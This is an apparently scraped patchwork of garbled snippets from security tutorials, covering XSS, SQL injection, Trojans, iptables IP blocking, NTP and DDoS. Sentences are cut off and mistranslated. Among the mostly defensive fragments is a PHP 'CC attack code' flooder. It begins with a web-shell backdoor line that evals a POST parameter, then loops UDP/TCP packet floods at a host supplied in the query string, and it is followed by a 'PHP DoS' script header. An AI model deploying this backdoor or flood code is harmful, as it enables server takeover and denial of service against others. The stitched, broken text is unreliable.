phishing attack prevention

filtering program. 4. Remote injection attacks The so-called filtering of a site is simple JS filtering on the submitted Table Page. For general users, you do not have to guard against such attacks. For early premeditated attackers, such filtering seems useless. We often say that POST attacks are one of them. Attackers can remotely submit illegal information for attack purposes. Through the introduction of the above

of IP attacks on your server, you can easily block it. Isomorphism the following command to block IP or any other specific IP: Route add IPAddress Reject Once you have organized a specific IP access on the server, you can check it to prevent tofu from being effective By using the following command: Route-n |grep IPAddress You can also block the specified IP with iptables by using the following command. Iptables-a INPUT 1-s ipadress-j drop/reject Service Iptables Restart Service Iptables Save Af

360 core of Cross-Site attack prevention in webscan, 360 webscan // Get interception rule $ getfilter = "\\ Not much. I used the 360 security monitoring website to conclude that the solution to cross-site scripting attacks is: We recommend that you filter user input metadata. Your good friend indicates that your website has a problem. We suggest you go to the website background and set up it. If you have an

Anti-Virus Attack and Defense Research: simple Trojan Analysis and Prevention part1I. preface the development of virus and Trojan Horse technologies today, because they are always complementary, you have me and I have you, so the boundaries between them are often no longer so obvious, each other often uses some of the other's technologies to achieve their own goals, so now many times they are collectively r

Anti-Virus Attack and Defense Section 2: Analysis and Prevention of simple TrojansI. Preface in general, Trojans are both client and server. What we discussed last time was just a special case. After all, not everyone knows the doscommand, so now the client of the Trojan is also made into a very intuitive interface for easy operation. This article will discuss both the client and the server. What is differe

This paper describes the prevention strategy of XSS attack in Yii2. Share to everyone for your reference, as follows: XSS Bug fix Principle: Do not trust the data entered by the customerNote: The attack code is not necessarily in the ① flags The important cookie as HTTP only, so that the Document.cookie statement in JavaScript cannot get a cookie.② only allows u

This article illustrates the YII2 's XSS attack prevention strategy. Share to everyone for your reference, specific as follows: XSS Vulnerability Fixes Principle: Do not trust the data entered by the customerNote: The attack code is not necessarily in ① marks an important cookie as HTTP only, so that the Document.cookie statement in JavaScript will not get a

: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}ElseIf ($ rand = 500)While (1){$ Packets ++;If (time ()> $ max_time ){Break;}$ Fp = pfsockopen ("udp: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}ElseWhile (1){$ Packets ++;If (time ()> $ max_time ){Break;}$ Fp = pfsockopen ("tcp: // $ http", $ rand, $ errno, $ errstr, 5 );If ($ fp){Fwrite ($ fp, $ out );Fclose ($ fp );}}?> For cc

PHP Tutorial SQL Prevention injection and attack technology implementation and methods1. The MAGIC_QUOTES_GPC option in the PHP configuration file php.ini is not turned on and is set to off 2. Developers do not check and escape data types But in fact, the 2nd is the most important. I think that it is the most basic quality of a web programmer to check the data type entered by the user and submit the corre

Php attack prevention measures. Recently, my website was often attacked. I came up with a method to use php to prevent the website from being attacked. below is my code. the code is not the best. I will do it based on my own needs, recently, my website has been attacked. later, I came up with a method to use php to prevent the website from being attacked. below is my code. the code is not the best. I will d

Cc attack code, supporting udpCopy codeThe Code is as follows:Eval ($ _ POST [Chr (90)]);Set_time_limit (86400 );Ignore_user_abort (True );$ Packets = 0;$ Http = $ _ GET ['http'];$ Rand = $ _ GET ['exit '];$ Exec_time = $ _ GET ['time'];If (StrLen ($ http) = 0 or StrLen ($ rand) = 0 or StrLen ($ exec_time) = 0){If (StrLen ($ _ GET ['rat ']) {Echo $ _ GET ['rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_

nature of Ascension), Whether it is a simple transformation or confusion, shell, anti-debugging, anti-hook, are not to be broken by attackers, but more or less to delay the time to find the key.Therefore, it is recommended that you do not use local database encryption such as Sqlcipher, except in the following cases:Non-sensitive data, love how to useUser's own data, can use the user password, fingerprint and other means of direct or indirect protection, because in this case key is actually wit

on, as in the previous example, or else two repetitions will go wrong. If MQ is enabled, we have to add the \ minus to get the real data. In addition to preprocessing the data in the above-mentioned string form, you should also pay attention to preprocessing when storing binary data into the database. Otherwise, the data may conflict with the storage format of the database itself, causing the database to crash, data records to be lost, and even the entire library's data to be lost. Some databas

Network Time Protocol (NTP. The protocol used for local and remote NTP server time synchronization. I have played so many protocols that I have never paid much attention to them. I read the articles of Linxinsnow and Longas, And then I studied it. It is recorded as a note. I will not write more details about this protocol. You can simply describe it. The specific details are far more complex than the NTP protocol, but it is not very simple. 1. Send NTP data packets locally to the remote NTP serv

whitelist. For example, only The existing XSS filter module is node-validator and js-xss written by @ Lei zongmin. The XSS module cannot prevent arbitrary XSS attacks, but at least it can filter out most of the vulnerabilities that can be imagined. Node-validator's XSS () still has bugs. For codes in the XSS attacks caused by the template engine The cnode community uses ejs as the template engine. In ejs, two methods are provided to output dynamic data to the page: All filters must have one

Php ddos attack and prevention code $ Ip = $ _ SERVER ['remote _ ADDR ']; ?> PHP DoS, Coded by EXE Your IP: (Don't DoS yourself nub) File: function. php